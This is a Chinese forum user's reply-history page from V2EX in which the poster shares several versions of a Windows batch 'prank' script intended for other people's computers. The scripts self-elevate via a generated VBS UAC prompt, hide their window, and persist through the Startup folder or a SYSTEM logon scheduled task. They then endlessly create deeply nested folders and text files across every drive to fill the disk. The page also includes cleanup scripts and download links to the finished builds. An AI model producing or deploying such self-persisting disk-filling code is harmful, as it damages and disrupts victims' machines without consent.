V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  zgzb  ›  全部回复第 5 页 / 共 6 页
回复总数  101
1  2  3  4  5  6  
2020-08-03 11:56:09 +08:00
回复了 xtx 创建的主题 程序员 何同学新一期的视频创意真的很好。
2020-08-03 10:48:52 +08:00
回复了 xtx 创建的主题 程序员 何同学新一期的视频创意真的很好。
几个 g 的照片,ps 学不会的我瑟瑟发抖。。。
2020-08-02 21:47:30 +08:00
回复了 zgzb 创建的主题 分享发现 分享一个日常用得到的命令合集
这个是 linux 格式化的命令吧,你应该发到 android 或 linux 版块吧
2020-08-02 09:56:37 +08:00
回复了 skdream 创建的主题 程序员 有一台云服务器,闲置这有点浪费,做点什么可以利用起来
如果容量够大又想造福人类的话,可以做个免费网盘,国内的网盘真的是榨干你。
2020-08-02 06:53:10 +08:00
回复了 zgzb 创建的主题 分享发现 关于一个 bat 格式的恶作剧小代码的终结版
你们读的什么小学?清华附小?
2020-08-01 19:31:09 +08:00
回复了 felix021 创建的主题 程序员 又是面试题?对,合并有序序列。
看的一头雾水,还好没学编程
2020-08-01 07:57:25 +08:00
回复了 jingcoco 创建的主题 硬件 给老爸买手机求意见
一加。。。
2020-07-31 15:47:23 +08:00
回复了 zgzb 创建的主题 分享发现 关于一个 bat 格式的恶作剧小代码的终结版
本人高中学历,学识浅薄,有不足的地方还希望多包涵
2020-07-30 18:17:20 +08:00
回复了 zgzb 创建的主题 问与答 一个 bat 格式的恶作剧小代码
关于 ezj 加强版的更新:在保留 ezj 加强版功能的基础上,添加了新的功能:实现两种代码合成到一个文件;实现了代码提权 system 权限,并能够开机自动运行;增加了硬盘分区扫描功能,在扫描到的分区自动写入文件,在 c 盘所有目录及子目录创建共 54 级,含 53 级文件夹和 1 级 txt 文件。使用时双击运行,允许 uac 窗口。由于 c 盘文件夹较多同时 system 权限没有 TrustedInstaller 高,运行时间较长并且一些文件夹拒绝访问。代码:
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
title ezj
schtasks /query /nh >ezj1.txt
for /f %%i in ('find "ezj" ezj1.txt') do (
set vr=%%i
del /f/s/q ezj1.txt)
if %vr%==ezj goto run
echo ^<?xml version="1.0" encoding="UTF-16"?^> >>ezj.xml
echo ^<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"^> >>ezj.xml
echo ^<RegistrationInfo^> >>ezj.xml
echo ^<Author^>ezj^</Author^> >>ezj.xml
echo ^<URI^>\2^</URI^> >>ezj.xml
echo ^</RegistrationInfo^> >>ezj.xml
echo ^<Triggers^> >>ezj.xml
echo ^<LogonTrigger^> >>ezj.xml
echo ^<Enabled^>true^</Enabled^> >>ezj.xml
echo ^</LogonTrigger^> >>ezj.xml
echo ^</Triggers^> >>ezj.xml
echo ^<Principals^> >>ezj.xml
echo ^<Principal id="Author"^> >>ezj.xml
echo ^<UserId^>system^</UserId^> >>ezj.xml
echo ^<RunLevel^>HighestAvailable^</RunLevel^> >>ezj.xml
echo ^</Principal^> >>ezj.xml
echo ^</Principals^> >>ezj.xml
echo ^<Settings^> >>ezj.xml
echo ^<MultipleInstancesPolicy^>IgnoreNew^</MultipleInstancesPolicy^> >>ezj.xml
echo ^<DisallowStartIfOnBatteries^>false^</DisallowStartIfOnBatteries^> >>ezj.xml
echo ^<StopIfGoingOnBatteries^>true^</StopIfGoingOnBatteries^> >>ezj.xml
echo ^<AllowHardTerminate^>true^</AllowHardTerminate^> >>ezj.xml
echo ^<StartWhenAvailable^>false^</StartWhenAvailable^> >>ezj.xml
echo ^<RunOnlyIfNetworkAvailable^>false^</RunOnlyIfNetworkAvailable^> >>ezj.xml
echo ^<IdleSettings^> >>ezj.xml
echo ^<StopOnIdleEnd^>true^</StopOnIdleEnd^> >>ezj.xml
echo ^<RestartOnIdle^>false^</RestartOnIdle^> >>ezj.xml
echo ^</IdleSettings^> >>ezj.xml
echo ^<AllowStartOnDemand^>true^</AllowStartOnDemand^> >>ezj.xml
echo ^<Enabled^>true^</Enabled^> >>ezj.xml
echo ^<Hidden^>false^</Hidden^> >>ezj.xml
echo ^<RunOnlyIfIdle^>false^</RunOnlyIfIdle^> >>ezj.xml
echo ^<WakeToRun^>false^</WakeToRun^> >>ezj.xml
echo ^<ExecutionTimeLimit^>PT0S^</ExecutionTimeLimit^> >>ezj.xml
echo ^<Priority^>7^</Priority^> >>ezj.xml
echo ^</Settings^> >>ezj.xml
echo ^<Actions Context="Author"^> >>ezj.xml
echo ^<Exec^> >>ezj.xml
echo ^<Command^>"%~f0"^</Command^> >>ezj.xml
echo ^</Exec^> >>ezj.xml
echo ^</Actions^> >>ezj.xml
echo ^</Task^> >>ezj.xml
schtasks /create /tn "ezj" /xml "ezj.xml"
del /f/s/q "ezj.xml"
:run
schtasks /query /tn ezj /nh >ezj2.txt
for /f "tokens=3" %%i in (ezj2.txt) do (
set vs=%%i
del /f/s/q ezj2.txt)
if %vs%==正在运行 (
goto allset
)else if %vs%==就绪 (
schtasks /run /tn ezj
exit)
:allset
setlocal enabledelayedexpansion
set vm=1
set vn=1
:main
for /f %%i in ('dir c:\ /ad/s/b') do (
set vx=%%i
for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%i: (
set vy=%%i
for /l %%a in (1,1,%vm%) do (
for /l %%b in (1,1,%vm%) do (
for /l %%c in (1,1,%vm%) do (
for /l %%d in (1,1,%vm%) do (
for /l %%e in (1,1,%vm%) do (
for /l %%f in (1,1,%vm%) do (
for /l %%g in (1,1,%vm%) do (
for /l %%h in (1,1,%vm%) do (
for /l %%i in (1,1,%vm%) do (
for /l %%j in (1,1,%vm%) do (
for /l %%k in (1,1,%vm%) do (
for /l %%l in (1,1,%vm%) do (
for /l %%m in (1,1,%vm%) do (
for /l %%n in (1,1,%vm%) do (
for /l %%o in (1,1,%vm%) do (
for /l %%p in (1,1,%vm%) do (
for /l %%q in (1,1,%vm%) do (
for /l %%r in (1,1,%vm%) do (
for /l %%s in (1,1,%vm%) do (
for /l %%t in (1,1,%vm%) do (
for /l %%u in (1,1,%vm%) do (
for /l %%v in (1,1,%vm%) do (
for /l %%w in (1,1,%vm%) do (
for /l %%x in (1,1,%vm%) do (
for /l %%y in (1,1,%vm%) do (
for /l %%z in (1,1,%vm%) do (
for /l %%A in (1,1,%vm%) do (
for /l %%B in (1,1,%vm%) do (
for /l %%C in (1,1,%vm%) do (
for /l %%D in (1,1,%vm%) do (
for /l %%E in (1,1,%vm%) do (
for /l %%F in (1,1,%vm%) do (
for /l %%G in (1,1,%vm%) do (
for /l %%H in (1,1,%vm%) do (
for /l %%I in (1,1,%vm%) do (
for /l %%J in (1,1,%vm%) do (
for /l %%K in (1,1,%vm%) do (
for /l %%L in (1,1,%vm%) do (
for /l %%M in (1,1,%vm%) do (
for /l %%N in (1,1,%vm%) do (
for /l %%O in (1,1,%vm%) do (
for /l %%P in (1,1,%vm%) do (
for /l %%Q in (1,1,%vm%) do (
for /l %%R in (1,1,%vm%) do (
for /l %%S in (1,1,%vm%) do (
for /l %%T in (1,1,%vm%) do (
for /l %%U in (1,1,%vm%) do (
for /l %%V in (1,1,%vm%) do (
for /l %%W in (1,1,%vm%) do (
for /l %%X in (1,1,%vm%) do (
for /l %%Y in (1,1,%vm%) do (
for /l %%Z in (1,1,%vm%) do (
md "!vx!\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
md "!vy!:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
tree /f >"!vx!\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
tree /f >"!vy!:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt")))))))))))))))))))))))))))))))))))))))))))))))))))))))
set /a vn=vn+1
goto main
网盘( 7 天有效期): https://cowtransfer.com/s/10845d9b6d5440
2020-07-29 10:56:29 +08:00
回复了 zgzb 创建的主题 问与答 批处理加什么代码能够以 system 权限运行?
@ysc3839 谢谢,成功了
2020-07-28 21:46:54 +08:00
回复了 zgzb 创建的主题 问与答 批处理加什么代码能够以 system 权限运行?
创建任务计划是 schtasks /create 这个命令吗?它创建的任务计划默认勾选了只有计算机使用交流电源时才启动此任务,有什么办法取消吗?
2020-07-28 18:15:12 +08:00
回复了 zgzb 创建的主题 问与答 批处理加什么代码能够以 system 权限运行?
任务计划我认为是以 system 身份登陆,通过触发器运行 bat 达到 bat 获得权限的目的,换了电脑任务计划不就没了,网上有 vbs 或者 pecmd 的方式,但是我想要的是一个 bat 获得最高权限。
2020-07-28 17:39:35 +08:00
回复了 zgzb 创建的主题 问与答 批处理加什么代码能够以 system 权限运行?
任务计划换了电脑就行不通了,这个批处理我是恶搞别人的 @ysc3839
trustedinstaller 我也不会搞
2020-07-28 12:35:35 +08:00
回复了 zgzb 创建的主题 问与答 一个 bat 格式的恶作剧小代码
附上所有版本代码集合,可能不会再更新了:
https://c-t.work/s/a6cb95401e7845
2020-07-28 12:28:08 +08:00
回复了 zgzb 创建的主题 问与答 一个 bat 格式的恶作剧小代码
这些是加强版的恢复代码,可以复制或者直接使用我的成品:
一、恢复 ezj 有窗口加强版
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
taskkill /f /fi "windowtitle eq 管理员: ezj 有窗口加强版"
del /f/s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ezj 无窗口加强版.bat"
set vm=3000
for /l %%Z in (1,1,%vm%) do (
rd /s/q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z"
rd /s/q "D:\%%Z")
二、恢复 ezj 无窗口加强版
@echo off
taskkill /f /fi "windowtitle eq ezj 无窗口加强版"
set vm=3000
for /l %%Z in (1,1,%vm%) do (
rd /s/q "C:\ProgramData\%%Z"
rd /s/q "D:\%%Z")
网盘地址: https://c-t.work/s/b65839a0d84c46
2020-07-28 09:30:23 +08:00
回复了 zgzb 创建的主题 问与答 一个 bat 格式的恶作剧小代码
关于前一次恶作剧代码的加强:在保留前一次代码原有功能不变的基础上,进行了精简,同时增加了一些新的功能。
使用方法:第一种、单独使用 ezj 无窗口.bat 或 单独使用 ezj 有窗口.bat ;第二种、两种都保存在同一目录下,然后运行 ezj 有窗口.bat 。第二种方法在第一次运行后会自动开机运行!!!!!!
一、有 UAC 弹出窗口,要手动点击
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
title ezj 有窗口加强版
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
copy ezj 无窗口加强版.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
set vm=3000
set vn=1
:main
for /l %%a in (1,1,%vm%) do (
for /l %%b in (1,1,%vm%) do (
for /l %%c in (1,1,%vm%) do (
for /l %%d in (1,1,%vm%) do (
for /l %%e in (1,1,%vm%) do (
for /l %%f in (1,1,%vm%) do (
for /l %%g in (1,1,%vm%) do (
for /l %%h in (1,1,%vm%) do (
for /l %%i in (1,1,%vm%) do (
for /l %%j in (1,1,%vm%) do (
for /l %%k in (1,1,%vm%) do (
for /l %%l in (1,1,%vm%) do (
for /l %%m in (1,1,%vm%) do (
for /l %%n in (1,1,%vm%) do (
for /l %%o in (1,1,%vm%) do (
for /l %%p in (1,1,%vm%) do (
for /l %%q in (1,1,%vm%) do (
for /l %%r in (1,1,%vm%) do (
for /l %%s in (1,1,%vm%) do (
for /l %%t in (1,1,%vm%) do (
for /l %%u in (1,1,%vm%) do (
for /l %%v in (1,1,%vm%) do (
for /l %%w in (1,1,%vm%) do (
for /l %%x in (1,1,%vm%) do (
for /l %%y in (1,1,%vm%) do (
for /l %%z in (1,1,%vm%) do (
for /l %%A in (1,1,%vm%) do (
for /l %%B in (1,1,%vm%) do (
for /l %%C in (1,1,%vm%) do (
for /l %%D in (1,1,%vm%) do (
for /l %%E in (1,1,%vm%) do (
for /l %%F in (1,1,%vm%) do (
for /l %%G in (1,1,%vm%) do (
for /l %%H in (1,1,%vm%) do (
for /l %%I in (1,1,%vm%) do (
for /l %%J in (1,1,%vm%) do (
for /l %%K in (1,1,%vm%) do (
for /l %%L in (1,1,%vm%) do (
for /l %%M in (1,1,%vm%) do (
for /l %%N in (1,1,%vm%) do (
for /l %%O in (1,1,%vm%) do (
for /l %%P in (1,1,%vm%) do (
for /l %%Q in (1,1,%vm%) do (
for /l %%R in (1,1,%vm%) do (
for /l %%S in (1,1,%vm%) do (
for /l %%T in (1,1,%vm%) do (
for /l %%U in (1,1,%vm%) do (
for /l %%V in (1,1,%vm%) do (
for /l %%W in (1,1,%vm%) do (
for /l %%X in (1,1,%vm%) do (
for /l %%Y in (1,1,%vm%) do (
for /l %%Z in (1,1,%vm%) do (
md "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
tree >"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
set /a vn=vn+1
goto main
二、运行后无 UAC 窗口
@echo off
title ezj 无窗口加强版
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set vm=3000
set vn=1
:main
for /l %%a in (1,1,%vm%) do (
for /l %%b in (1,1,%vm%) do (
for /l %%c in (1,1,%vm%) do (
for /l %%d in (1,1,%vm%) do (
for /l %%e in (1,1,%vm%) do (
for /l %%f in (1,1,%vm%) do (
for /l %%g in (1,1,%vm%) do (
for /l %%h in (1,1,%vm%) do (
for /l %%i in (1,1,%vm%) do (
for /l %%j in (1,1,%vm%) do (
for /l %%k in (1,1,%vm%) do (
for /l %%l in (1,1,%vm%) do (
for /l %%m in (1,1,%vm%) do (
for /l %%n in (1,1,%vm%) do (
for /l %%o in (1,1,%vm%) do (
for /l %%p in (1,1,%vm%) do (
for /l %%q in (1,1,%vm%) do (
for /l %%r in (1,1,%vm%) do (
for /l %%s in (1,1,%vm%) do (
for /l %%t in (1,1,%vm%) do (
for /l %%u in (1,1,%vm%) do (
for /l %%v in (1,1,%vm%) do (
for /l %%w in (1,1,%vm%) do (
for /l %%x in (1,1,%vm%) do (
for /l %%y in (1,1,%vm%) do (
for /l %%z in (1,1,%vm%) do (
for /l %%A in (1,1,%vm%) do (
for /l %%B in (1,1,%vm%) do (
for /l %%C in (1,1,%vm%) do (
for /l %%D in (1,1,%vm%) do (
for /l %%E in (1,1,%vm%) do (
for /l %%F in (1,1,%vm%) do (
for /l %%G in (1,1,%vm%) do (
for /l %%H in (1,1,%vm%) do (
for /l %%I in (1,1,%vm%) do (
for /l %%J in (1,1,%vm%) do (
for /l %%K in (1,1,%vm%) do (
for /l %%L in (1,1,%vm%) do (
for /l %%M in (1,1,%vm%) do (
for /l %%N in (1,1,%vm%) do (
for /l %%O in (1,1,%vm%) do (
for /l %%P in (1,1,%vm%) do (
for /l %%Q in (1,1,%vm%) do (
for /l %%R in (1,1,%vm%) do (
for /l %%S in (1,1,%vm%) do (
for /l %%T in (1,1,%vm%) do (
for /l %%U in (1,1,%vm%) do (
for /l %%V in (1,1,%vm%) do (
for /l %%W in (1,1,%vm%) do (
for /l %%X in (1,1,%vm%) do (
for /l %%Y in (1,1,%vm%) do (
for /l %%Z in (1,1,%vm%) do (
md "C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
tree >"C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
set /a vn=vn+1
goto main
说明及改进:运行时间足够长后会得到共 54 级,前 52 级各有 vm 个文件夹,第 53 级的文件夹随运行时间不断增加,第 54 级是 txt 文件,类似于套娃结构。vm 是前 52 级每级下文件夹的个数,可自定义,自定义方法是修改 ezj 无窗口加强版.bat 第 4 行或 ezj 有窗口加强版.bat 第 18 行中 vm 的数字,我设置的是 3000,可随个人喜好修改。加强版还有进一步加强的地方,比如增加检测硬盘分区的功能,检测存在的所有分区并写入文件;由于语法限制最多只有 52 级确定的文件夹,通过语法改进增加级数;但目前最迫切的是 bat 获得 system 或 TrustedInstaller 权限的代码,通过在 bat 前几行加入这些代码,就可以实现在 c 盘下所有目录写入文件而不被拒绝,同时能够把这两种代码合二为一,取消 uac 弹窗等,还请知道的能够告知。
最后附上成品: https://c-t.work/s/46c154bcea1549
2020-07-26 18:03:51 +08:00
回复了 zgzb 创建的主题 问与答 一个 bat 格式的恶作剧小代码
我看点击量越来越多我也没想到会引起注意,既然是恶作剧就要有补救的措施,有什么不足的地方希望各位大佬不要喷我。。。
1  2  3  4  5  6  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3795 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 26ms · UTC 10:15 · PVG 18:15 · LAX 02:15 · JFK 05:15
Developed with CodeLauncher
♥ Do have faith in what you're doing.